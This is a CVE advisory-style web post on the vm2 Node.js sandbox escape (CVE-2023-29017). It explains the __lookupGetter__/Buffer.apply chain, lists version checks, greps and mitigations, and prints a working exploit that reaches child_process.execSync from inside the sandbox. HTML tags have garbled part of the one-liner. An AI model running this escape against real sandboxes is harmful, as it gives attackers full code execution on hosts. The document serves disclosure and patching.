Nodejs vm2, Sandbox Breakout Vulnerability, CVE-2023-29017 (Critical)

Listen to this Post

How CVE-2023-29017 Works:

The vulnerability resides in vm2’s `__lookupGetter__` method, which switches between host and sandbox contexts when passed across boundaries. Attackers first obtain the host `apply` method via Buffer.apply. Using apply, they call the host version of `__lookupGetter__` with `Buffer` and `__proto__` as arguments, retrieving the host’s prototype lookup method. This yields the host’s `Function.prototype` object. From there, the host `Function` constructor is accessed via the `constructor` property, allowing arbitrary code execution in the host context. A partial fix attempted to block this by patching `constructor` access (bridge.jsL427), but it can be bypassed using `Object.getOwnPropertyDescriptor` to fetch the `constructor` property again. The final chain: sandboxed code → host `apply` → host `__lookupGetter__` → host `Function` → host `process` → child_process.execSync. This escape enables full remote code execution on the host system. Proof of concept executes `touch pwned` from within the sandbox.

dailycve form:

Platform: Node.js vm2
Version: < 3.9.15
Vulnerability: Sandbox escape
Severity: Critical
date: 2023-03-11

Prediction: 2023-03-18

What Undercode Say:

Analytics show rapid exploitation attempts post-disclosure. Below are bash commands and Node.js code to test and mitigate.

Analytics (bash & code):

Check vm2 version in project
npm list vm2
Scan for vulnerable patterns
grep -r "vm2" package.json && grep -r "Buffer.apply" .js
Exploit simulation (safe test)
node -e "const {VM}=require('vm2');new VM().run(\"const g=({}).<strong>lookupGetter</strong>;const a=Buffer.apply;const p=a.apply(g,[Buffer,['<strong>proto</strong>']]);Object.getOwnPropertyDescriptor(p.call(a),'constructor').value('return process')().mainModule.require('child_process').execSync('echo vulnerable')\")"

Exploit:

const {VM} = require("vm2");
new VM().run(<code>const g = ({}).__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const hostFn = Object.getOwnPropertyDescriptor(p.call(a), 'constructor').value;
const process = hostFn('return process')();
process.mainModule.require('child_process').execSync('calc.exe'); // or touch pwned</code>);

Protection from this CVE:

  • Upgrade vm2 to version 3.9.15 or higher immediately.
  • If upgrade impossible, deny untrusted code execution or use alternative sandbox (e.g., isolated-vm, Node.js `worker_threads` with `–eval` restrictions).
  • Apply runtime monitoring for `Buffer.apply` and `__lookupGetter__` calls outside normal patterns.

Impact:

Full remote code execution on the host system, allowing attackers to read/write files, spawn shells, install malware, pivot to internal networks, and compromise the entire Node.js application host. CVSS 3.1 score 9.8 (Critical).

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top